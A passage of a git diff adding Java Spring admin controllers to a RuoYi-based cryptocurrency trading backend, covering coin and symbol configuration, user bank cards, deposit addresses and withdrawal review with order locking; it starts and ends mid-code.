tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + ExcelUtil util = new ExcelUtil(TSecondPeriodConfig.class); + util.exportExcel(response, list, "秒合约币种周期配置数据"); + } + + /** + * 获取秒合约币种周期配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('period:config:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondPeriodConfigService.selectTSecondPeriodConfigById(id)); + } + + /** + * 新增秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:add')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + return toAjax(tSecondPeriodConfigService.insertTSecondPeriodConfig(tSecondPeriodConfig)); + } + + /** + * 修改秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:edit')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + return toAjax(tSecondPeriodConfigService.updateTSecondPeriodConfig(tSecondPeriodConfig)); + } + + /** + * 删除秒合约币种周期配置 + */ + @PreAuthorize("@ss.hasPermi('period:config:remove')") + @Log(title = "秒合约币种周期配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSecondPeriodConfigService.deleteTSecondPeriodConfigByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java new file mode 100644 index 0000000..b2317a5 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.service.IKlineSymbolService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; +import com.ruoyi.bussiness.service.ITSpontaneousCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 自发币种配置Controller + * + * @author ruoyi + * @date 2023-10-08 + */ +@RestController +@RequestMapping("/bussiness/spontaneousCoin") +public class TSpontaneousCoinController extends BaseController +{ + @Autowired + private ITOwnCoinService tOwnCoinService; + @Resource + private ITSpontaneousCoinService tSpontaneousCoinService; + @Resource + private IKlineSymbolService klineSymbolService; + + /** + * 查询自发币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:list')") + @GetMapping("/list") + public TableDataInfo list(TSpontaneousCoin tSpontaneousCoin) + { + startPage(); + List list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin); + return getDataTable(list); + } + + /** + * 导出自发币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:export')") + @Log(title = "自发币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSpontaneousCoin tSpontaneousCoin) + { + List list = tSpontaneousCoinService.selectTSpontaneousCoinList(tSpontaneousCoin); + ExcelUtil util = new ExcelUtil(TSpontaneousCoin.class); + util.exportExcel(response, list, "自发币种配置数据"); + } + + /** + * 获取自发币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSpontaneousCoinService.selectTSpontaneousCoinById(id)); + } + + /** + * 新增自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:add')") + @Log(title = "自发币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSpontaneousCoin tSpontaneousCoin) + { + tSpontaneousCoin.setCoin(tSpontaneousCoin.getCoin().toLowerCase()); + TSpontaneousCoin oldSpontaneousCoin = tSpontaneousCoinService.getOne(new LambdaQueryWrapper().eq(TSpontaneousCoin::getCoin, tSpontaneousCoin.getCoin())); + TOwnCoin tOwnCoin = tOwnCoinService.getOne(new LambdaQueryWrapper().eq(TOwnCoin::getCoin, tSpontaneousCoin.getCoin())); + KlineSymbol oldklineSymbol = klineSymbolService.getOne(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tSpontaneousCoin.getCoin()) + .and(k->k.eq(KlineSymbol::getMarket,"binance").or().eq(KlineSymbol::getMarket,"echo"))); + if (Objects.nonNull(oldSpontaneousCoin) || Objects.nonNull(tOwnCoin) || Objects.nonNull(oldklineSymbol)){ + return AjaxResult.error(tSpontaneousCoin.getCoin()+"已经存在"); + } + return toAjax(tSpontaneousCoinService.insertTSpontaneousCoin(tSpontaneousCoin)); + } + + /** + * 修改自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:edit')") + @Log(title = "自发币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSpontaneousCoin tSpontaneousCoin) + { + return toAjax(tSpontaneousCoinService.updateTSpontaneousCoin(tSpontaneousCoin)); + } + + /** + * 删除自发币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:spontaneousCoin:remove')") + @Log(title = "自发币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + return toAjax(tSpontaneousCoinService.deleteTSpontaneousCoinById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java new file mode 100644 index 0000000..4c2b90a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java @@ -0,0 +1,146 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币种管理Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/bussiness/symbolmanage") +public class TSymbolManageController extends BaseController +{ + @Autowired + private ITSymbolManageService tSymbolManageService; + + /** + * 查询币种管理列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:list')") + @GetMapping("/list") + public TableDataInfo list(TSymbolManage tSymbolManage) + { + startPage(); + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + return getDataTable(list); + } + + /** + * 导出币种管理列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:export')") + @Log(title = "币种管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSymbolManage tSymbolManage) + { + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + ExcelUtil util = new ExcelUtil(TSymbolManage.class); + util.exportExcel(response, list, "币种管理数据"); + } + + /** + * 获取币种管理详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSymbolManageService.selectTSymbolManageById(id)); + } + + /** + * 新增币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:add')") + @Log(title = "币种管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSymbolManage tSymbolManage) + { + TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol())); + if (StringUtils.isNotNull(oldManage)){ + return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在"); + } + return toAjax(tSymbolManageService.insertTSymbolManage(tSymbolManage)); + } + + /** + * 新增币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:addBatch')") + @Log(title = "币种管理", businessType = BusinessType.INSERT) + @PostMapping("/addBatch") + public AjaxResult addBatch(String[] symbols) + { + String msg = ""; + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + List oldManage = tSymbolManageService.selectSymbolList(new TSymbolManage()); + if (StringUtils.isEmpty(symbols)){ + return AjaxResult.error("新增币种为空"); + } + if (!CollectionUtils.isEmpty(oldManage)){ + for (int i = 0; i < symbols.length; i++) { + if (oldManage.contains(symbols[i])){ + msg+=symbols[i]+","; + } + } + } + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error("币种已经存在"+msg.substring(0,msg.length()-1)); + } + tSymbolManageService.addBatch(symbols); + return AjaxResult.success(); + } + + /** + * 修改币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:edit')") + @Log(title = "币种管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSymbolManage tSymbolManage) + { + TSymbolManage oldManage = tSymbolManageService.getOne(new LambdaQueryWrapper().eq(TSymbolManage::getSymbol, tSymbolManage.getSymbol())); + if (StringUtils.isNotNull(oldManage) && !oldManage.getId().equals(tSymbolManage.getId())){ + return AjaxResult.error(tSymbolManage.getSymbol()+"币种已经存在"); + } + return toAjax(tSymbolManageService.updateTSymbolManage(tSymbolManage)); + } + + /** + * 删除币种管理 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbolmanage:remove')") + @Log(title = "币种管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tSymbolManageService.deleteTSymbolManageByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java new file mode 100644 index 0000000..43f9b74 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.service.ITSymbolsService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 支持币种Controller + * + * @author ruoyi + * @date 2023-06-26 + */ +@RestController +@RequestMapping("/bussiness/symbols") +public class TSymbolsController extends BaseController +{ + @Autowired + private ITSymbolsService tSymbolsService; + + /** + * 查询支持币种列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:list')") + @GetMapping("/list") + public TableDataInfo list(TSymbols tSymbols) + { + startPage(); + List list = tSymbolsService.selectTSymbolsList(tSymbols); + return getDataTable(list); + } + + /** + * 导出支持币种列表 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:export')") + @Log(title = "支持币种", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TSymbols tSymbols) + { + List list = tSymbolsService.selectTSymbolsList(tSymbols); + ExcelUtil util = new ExcelUtil(TSymbols.class); + util.exportExcel(response, list, "支持币种数据"); + } + + /** + * 获取支持币种详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:query')") + @GetMapping(value = "/{slug}") + public AjaxResult getInfo(@PathVariable("slug") String slug) + { + return success(tSymbolsService.selectTSymbolsBySlug(slug)); + } + + /** + * 新增支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:add')") + @Log(title = "支持币种", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TSymbols tSymbols) + { + return toAjax(tSymbolsService.insertTSymbols(tSymbols)); + } + + /** + * 修改支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:edit')") + @Log(title = "支持币种", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TSymbols tSymbols) + { + return toAjax(tSymbolsService.updateTSymbols(tSymbols)); + } + + /** + * 删除支持币种 + */ + @PreAuthorize("@ss.hasPermi('system:symbols:remove')") + @Log(title = "支持币种", businessType = BusinessType.DELETE) + @DeleteMapping("/{slugs}") + public AjaxResult remove(@PathVariable String[] slugs) + { + return toAjax(tSymbolsService.deleteTSymbolsBySlugs(slugs)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java new file mode 100644 index 0000000..7859449 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java @@ -0,0 +1,98 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Objects; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 银行卡Controller + * + * @author ruoyi + * @date 2023-08-21 + */ +@RestController +@RequestMapping("/bussiness/userBank") +public class TUserBankController extends BaseController +{ + @Autowired + private ITUserBankService tUserBankService; + + /** + * 查询银行卡列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:list')") + @GetMapping("/list") + public TableDataInfo list(TUserBank tUserBank) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tUserBank.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tUserBankService.selectTUserBankList(tUserBank); + return getDataTable(list); + } + + /** + * 获取银行卡详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tUserBankService.selectTUserBankById(id)); + } + + /** + * 修改银行卡 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:edit')") + @Log(title = "银行卡", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TUserBank tUserBank) + { + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getCardNumber, tUserBank.getCardNumber())); + if (Objects.nonNull(oldBack) && oldBack.getId()!=tUserBank.getId()){ + return AjaxResult.error(tUserBank.getCardNumber()+"该银行卡已经存在"); + } + return toAjax(tUserBankService.updateTUserBank(tUserBank)); + } + + /** + * 删除银行卡 + */ + @PreAuthorize("@ss.hasPermi('bussiness:userBank:remove')") + @Log(title = "银行卡", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tUserBankService.deleteTUserBankByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java new file mode 100644 index 0000000..741ea0e --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java @@ -0,0 +1,120 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.SettingService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户币种充值地址Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/bussiness/symbol/address") +public class TUserSymbolAddressController extends BaseController { + @Autowired + private ITUserSymbolAddressService tUserSymbolAddressService; + @Autowired + private SettingService settingService; + /** + * 查询用户币种充值地址列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:list')") + @GetMapping("/list") + public TableDataInfo list(TUserSymbolAddress tUserSymbolAddress) { + startPage(); + List list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress); + return getDataTable(list); + } + + /** + * 导出用户币种充值地址列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:export')") + @Log(title = "用户币种充值地址", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TUserSymbolAddress tUserSymbolAddress) { + List list = tUserSymbolAddressService.selectTUserSymbolAddressList(tUserSymbolAddress); + ExcelUtil util = new ExcelUtil(TUserSymbolAddress.class); + util.exportExcel(response, list, "用户币种充值地址数据"); + } + + /** + * 获取用户币种充值地址详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tUserSymbolAddressService.selectTUserSymbolAddressById(id)); + } + + /** + * 新增用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:add')") + @Log(title = "用户币种充值地址", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TUserSymbolAddress tUserSymbolAddress) { + int re = tUserSymbolAddressService.insertTUserSymbolAddress(tUserSymbolAddress); + if (10001 == re) { + return AjaxResult.error("相同币种,请勿重复添加地址"); + } + return toAjax(re); + } + + /** + * 修改用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:edit')") + @Log(title = "用户币种充值地址", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TUserSymbolAddress tUserSymbolAddress) { + return toAjax(tUserSymbolAddressService.updateTUserSymbolAddress(tUserSymbolAddress)); + } + + /** + * 删除用户币种充值地址 + */ + @PreAuthorize("@ss.hasPermi('bussiness:symbol/address:remove')") + @Log(title = "用户币种充值地址", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tUserSymbolAddressService.deleteTUserSymbolAddressByIds(ids)); + } + + @PostMapping("/getAdress") + public AjaxResult getAdress(String coin, String symbol) { + Map map = tUserSymbolAddressService.getAdredssByCoin(coin, symbol, getUserId()); + return AjaxResult.success(map); + } + + @PostMapping("/checkuType") + public AjaxResult checkuType() { + ThirdPaySetting thirdPaySetting= settingService.getThirdPaySetting("301"); + return AjaxResult.success(thirdPaySetting); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java new file mode 100644 index 0000000..97e6733 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java @@ -0,0 +1,237 @@ +package com.ruoyi.web.controller.bussiness; + +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.ThirdPayOutFactory; +import com.ruoyi.bussiness.service.ThirdPayOutService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * 用户提现Controller + * + * @author ruoyi + * @date 2023-07-24 + */ +@RestController +@RequestMapping("/bussiness/withdraw") +public class TWithdrawController extends BaseController { + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + @Resource + private SettingService settingService; + + /** + * 查询用户提现列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:list')") + @GetMapping("/list") + public TableDataInfo list(TWithdraw tWithdraw) { + startPage(); + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tWithdraw.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tWithdrawService.selectTWithdrawList(tWithdraw); + return getDataTable(list); + } + + /** + * 导出用户提现列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:export')") + @Log(title = "用户提现", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TWithdraw tWithdraw) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tWithdraw.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tWithdrawService.selectTWithdrawList(tWithdraw); + ExcelUtil util = new ExcelUtil(TWithdraw.class); + util.exportExcel(response, list, "用户提现数据"); + } + + /** + * 获取用户提现详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tWithdrawService.selectTWithdrawById(id)); + } + + /** + * 新增用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:add')") + @Log(title = "用户提现", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TWithdraw tWithdraw) { + return toAjax(tWithdrawService.insertTWithdraw(tWithdraw)); + } + + /** + * 修改用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "用户提现", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TWithdraw tWithdraw) { + return toAjax(tWithdrawService.updateTWithdraw(tWithdraw)); + } + + /** + * 删除用户提现 + */ + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:remove')") + @Log(title = "用户提现", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tWithdrawService.deleteTWithdrawByIds(ids)); + } + + + // 通过只改状态, 只能审核0级用户 + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.锁定", businessType = BusinessType.UPDATE) + @PostMapping("/lockorder") + public AjaxResult lockorder(@RequestBody TWithdraw wi) { + + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 0) { + return AjaxResult.error("订单状态不对,不能锁定"); + } + withdraw.setStatus(3); + withdraw.setUpdateBy(getUsername()); + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + return toAjax(iwithdraw); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.解锁", businessType = BusinessType.UPDATE) + @PostMapping("/unlockorder") + public AjaxResult unlockorder(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能解锁"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + withdraw.setStatus(0); + withdraw.setUpdateBy(getUsername()); + int iwithdraw = tWithdrawService.updateTWithdraw(withdraw); + return toAjax(iwithdraw); + } + + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.锁定判断", businessType = BusinessType.UPDATE) + @PostMapping("/tryCheck") + public AjaxResult trycheck(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能审核"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + return AjaxResult.success(); + } + + @Transactional + @PreAuthorize("@ss.hasPermi('bussiness:withdraw:edit')") + @Log(title = "提现管理.审核通过", businessType = BusinessType.UPDATE) + @PostMapping("/review") + public AjaxResult passOrder(@RequestBody TWithdraw wi) { + TWithdraw withdraw = tWithdrawService.getOne(new LambdaQueryWrapper().eq(TWithdraw::getId, wi.getId())); + if (withdraw.getStatus() != 3) { + return AjaxResult.error("订单状态不对,不能审核"); + } + if (!SysUser.isAdmin(getUserId()) && !withdraw.getUpdateBy().equals(getUsername())) { + return AjaxResult.error("订单已经被别人锁定"); + } + if (!withdraw.getToAdress().equals(wi.getToAdress())) { + return AjaxResult.error("只有提现中的订单才能修改地址!"); + } + withdraw.setStatus(1); + withdraw.setUpdateBy(getUsername()); + withdraw.setRemark(wi.getRemark()); + withdraw.setWithDrawRemark(wi.getWithDrawRemark()); + ThirdPaySetting setting = settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if (Objects.nonNull(setting)) { + if 